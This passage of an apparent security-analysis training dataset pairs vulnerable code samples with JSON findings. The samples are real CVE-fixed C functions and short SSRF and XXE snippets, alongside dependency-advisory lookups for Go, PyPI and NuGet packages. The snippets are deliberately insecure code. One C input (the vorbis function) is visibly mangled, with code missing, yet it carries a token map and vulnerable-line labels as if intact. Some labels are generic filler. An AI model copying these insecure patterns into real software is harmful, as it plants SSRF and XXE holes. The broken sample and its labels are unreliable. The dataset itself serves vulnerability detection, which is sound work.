rcur->off)\n\t\t\treturn false;\n\t\t/* id relations must be preserved */\n\t\tif (rold->id && !check_ids(rold->id, rcur->id, idmap))\n\t\t\treturn false;\n\t\t/* new val must satisfy old val knowledge */\n\t\treturn range_within(rold, rcur) &&\n\t\t tnum_in(rold->var_off, rcur->var_off);\n\tcase PTR_TO_CTX:\n\tcase CONST_PTR_TO_MAP:\n\tcase PTR_TO_STACK:\n\tcase PTR_TO_PACKET_END:\n\t\t/* Only valid matches are exact, which memcmp() above\n\t\t * would have accepted\n\t\t */\n\tdefault:\n\t\t/* Don't know what's going on, just say it's not safe */\n\t\treturn false;\n\t}\n\n\t/* Shouldn't get here; if we do, say it's not safe */\n\tWARN_ON_ONCE(1);\n\treturn false;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-17855\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 23,\n 24,\n 25,\n 27,\n 28,\n 29,\n 30,\n 31\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"switch_statement\",\n \"compound_statement\",\n \"case_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 18,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 5\n },\n {\n \"token\": \"rcur\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 18,\n \"col\": 10\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 18,\n \"col\": 12\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 18,\n \"col\": 17\n },\n {\n \"token\": \"SCALAR_VALUE\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 32\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 18,\n \"col\": 34\n },\n {\n \"token\": \"/* new val must satisfy old val knowledge */\",\n \"ast_node\": \"comment\",\n \"line\": 19,\n \"col\": 3\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 20,\n \"col\": 4\n },\n {\n \"token\": \"range_within\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 20,\n \"col\": 23\n },\n {\n \"token\": \"rold\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 20,\n \"col\": 28\n },\n {\n \"token\": \"rcur\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 20,\n \"col\": 34\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 20,\n \"col\": 36\n },\n {\n \"token\": \"tnum_in\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 21,\n \"col\": 18\n },\n {\n \"token\": \"rold\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 19\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 21,\n \"col\": 23\n },\n {\n \"token\": \"var_off\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 21,\n \"col\": 32\n },\n {\n \"token\": \"rcur\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 34\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 21,\n \"col\": 38\n },\n {\n \"token\": \"var_off\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 21,\n \"col\": 47\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 21,\n \"col\": 48\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 22,\n \"col\": 3\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 22,\n \"col\": 5\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 22,\n \"col\": 10\n },\n {\n \"token\": \"/* if we knew anything about the old value, we're not\\n\\t\\t\\t * equal, because we can't know anything about the\\n\\t\\t\\t * scalar value of the pointer in the new value.\\n \\t\\t\\t */\",\n \"ast_node\": \"comment\",\n \"line\": 23,\n \"col\": 3\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 27,\n \"col\": 3\n },\n {\n \"token\": \"rold\",\n \"ast_node\": \"identifier\",\n \"line\": 27,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 27,\n \"col\": 14\n },\n {\n \"token\": \"umin_value\",\n \"ast_node\": \"field_identifier\",\n \"line\": 27,\n \"col\": 16\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 27,\n \"col\": 27\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 27,\n \"col\": 30\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 27,\n \"col\": 32\n },\n {\n \"token\": \"rold\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 28,\n \"col\": 14\n },\n {\n \"token\": \"umax_value\",\n \"ast_node\": \"field_identifier\",\n \"line\": 28,\n \"col\": 16\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 28,\n \"col\": 27\n },\n {\n \"token\": \"U64_MAX\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 30\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 28,\n \"col\": 38\n },\n {\n \"token\": \"rold\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 29,\n \"col\": 14\n },\n {\n \"token\": \"smin_value\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 16\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 29,\n \"col\": 27\n },\n {\n \"token\": \"S64_MIN\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 30\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 29,\n \"col\": 38\n },\n {\n \"token\": \"rold\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 30,\n \"col\": 14\n },\n {\n \"token\": \"smax_value\",\n \"ast_node\": \"field_identifier\",\n \"line\": 30,\n \"col\": 16\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 30,\n \"col\": 27\n },\n {\n \"token\": \"S64_MAX\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 30\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 30,\n \"col\": 38\n },\n {\n \"token\": \"tnum_is_unknown\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 10\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 31,\n \"col\": 25\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/cosmos/evm\nInstalled version: 0.3.0\nSummary: Cosmos EVM Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8pfh-j44r-f654\",\n \"cve\": null,\n \"aliases\": [\n \"GO-2025-4041\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/cosmos/evm\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=0.3.0, <0.3.2\",\n \"fixed_version\": \"0.3.2\",\n \"finding\": \"Cosmos EVM Vulnerability\",\n \"remediation\": \"Upgrade github.com/cosmos/evm to 0.3.2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-918", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the javascript source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "const http = require('http');\nfunction fetchUrl(req, res) {\n const arg = req.query.id;\n http.get(arg, (r) => r.pipe(res));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-918\",\n \"cwe_name\": \"Server-Side Request Forgery (SSRF)\",\n \"title\": \"SSRF via unchecked outbound request\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"http\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"get\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"arg\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"pipe\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 34\n }\n ],\n \"explanation\": \"A user-supplied URL is fetched server-side without host allow-listing, enabling SSRF.\",\n \"remediation\": \"Allow-list destination hosts, resolve and validate the IP, and block internal/link-local ranges.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-17", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline void __file_sb_list_add(struct file *file, struct super_block *sb)\n{\n\tstruct list_head *list;\n#ifdef CONFIG_SMP\n\tint cpu;\n\tcpu = smp_processor_id();\n\tfile->f_sb_list_cpu = cpu;\n\tlist = per_cpu_ptr(sb->s_files, cpu);\n#else\n\tlist = &sb->s_files;\n#endif\n\tlist_add(&file->f_u.fu_list, list);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-17\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-8172\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 13\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"inline\",\n \"ast_node\": \"inline\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"__file_sb_list_add\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"super_block\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 76\n },\n {\n \"token\": \"sb\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 77\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 79\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"list_head\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"list\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"#ifdef\",\n \"ast_node\": \"#ifdef\",\n \"line\": 4,\n \"col\": 0\n },\n {\n \"token\": \"CONFIG_SMP\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"cpu\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"cpu\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"smp_processor_id\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 24\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"f_sb_list_cpu\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 21\n },\n {\n \"token\": \"cpu\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \"list\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"per_cpu_ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"sb\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"s_files\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \"cpu\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 37\n },\n {\n \"token\": \"#else\",\n \"ast_node\": \"#else\",\n \"line\": 9,\n \"col\": 0\n },\n {\n \"token\": \"list\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"sb\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"s_files\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 20\n },\n {\n \"token\": \"#endif\",\n \"ast_node\": \"#endif\",\n \"line\": 11,\n \"col\": 0\n },\n {\n \"token\": \"list_add\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 9\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-611", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following python code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "from lxml import etree\ndef parse():\n param = sys.argv[1]\n return etree.fromstring(param)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-611\",\n \"cwe_name\": \"XML External Entity (XXE)\",\n \"title\": \"XXE via unsafe lxml parsing\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"etree\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"fromstring\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 33\n }\n ],\n \"explanation\": \"Default lxml parsing resolves external entities, enabling XXE.\",\n \"remediation\": \"Disable external entity and DTD processing in the XML parser.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static inline int _setEdgePixel(const gdImagePtr src, unsigned int x, unsigned int y, gdFixed coverage, const int bgColor) \n {\n \tconst gdFixed f_127 = gd_itofx(127);\n \tregister int c = src->tpixels[y][x];\n\tc = c | (( (int) (gd_fxtof(gd_mulfx(coverage, f_127)) + 50.5f)) << 24);\n\treturn _color_blend(bgColor, c);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-7456\",\n \"project\": \"libgd\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "PHP_FUNCTION(mcrypt_module_get_supported_key_sizes)\n {\n \tint i, count = 0;\n \tint *key_sizes;\n \tMCRYPT_GET_MODE_DIR_ARGS(algorithms_dir)\n \tarray_init(return_value);\n \n\tkey_sizes = mcrypt_module_get_algo_supported_key_sizes(module, dir, &count);\n\n\tfor (i = 0; i < count; i++) {\n\t\tadd_index_long(return_value, i, key_sizes[i]);\n\t}\n\tmcrypt_free(key_sizes);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-5769\",\n \"project\": \"php-src\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int credssp_skip_ts_request(int length)\n{\n\tlength += ber_skip_integer(2);\n\tlength += ber_skip_contextual_tag(3);\n\tlength += der_skip_sequence_tag(length);\n\treturn length;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"project\": \"FreeRDP\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: torch\nInstalled version: <2.10.0\nSummary: PyTorch is a Python package that provides tensor computation. Prior to version 2.10.0, a vulnerability in PyTorch's `weights_only` unpickler allows an attacker to craft a malicious checkpoint file (`....", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-2286\",\n \"cve\": \"CVE-2026-24747\",\n \"aliases\": [\n \"BIT-pytorch-2026-24747\",\n \"CVE-2026-24747\",\n \"GHSA-63cw-57p8-fm3p\",\n \"PYSEC-2026-1856\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"torch\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.10.0\",\n \"fixed_version\": \"2.10.0\",\n \"finding\": \"PyTorch is a Python package that provides tensor computation. Prior to version 2.10.0, a vulnerability in PyTorch's `weights_only` unpickler allows an attacker to craft a malicious checkpoint file (`....\",\n \"remediation\": \"Upgrade torch to 2.10.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-312", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Steeltoe.Configuration.Abstractions\nInstalled version: 4.0.0\nSummary: Steeltoe: TLS private keys written to /tmp with default permissions, never deleted", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-rxrh-4j9h-xgg9\",\n \"cve\": \"CVE-2026-50267\",\n \"aliases\": [\n \"CVE-2026-50267\"\n ],\n \"cwe\": \"CWE-312\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Steeltoe.Configuration.Abstractions\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=4.0.0, <4.2.0\",\n \"fixed_version\": \"4.2.0\",\n \"finding\": \"Steeltoe: TLS private keys written to /tmp with default permissions, never deleted\",\n \"remediation\": \"Upgrade Steeltoe.Configuration.Abstractions to 4.2.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " long vorbis_book_decodevv_add(codebook *book,ogg_int32_t **a,\n\t\t\t long offset,int ch,\n\t\t\t oggpack_buffer *b,int n,int point){\n if(book->used_entries>0){\n \n ogg_int32_t *v = book->dec_buf;//(ogg_int32_t *)alloca(sizeof(*v)*book->dim);\n long i,j;\n int chptr=0;\n\n\n if (!v) return -1;\n for(i=offset;idim;j++){\n\ta[chptr++][i]+=v[j];\n\tif(chptr==ch){\n\t chptr=0;\n\t i++;\n\t}\n }\n }\n }\n\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-0814\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 14,\n 15,\n 16,\n 17,\n 18,\n 19\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"vorbis_book_decodevv_add\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"codebook\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"book\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"ogg_int32_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"a\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 20\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 21\n },\n {\n \"token\": \"ch\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 27\n },\n {\n \"token\": \"oggpack_buffer\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n 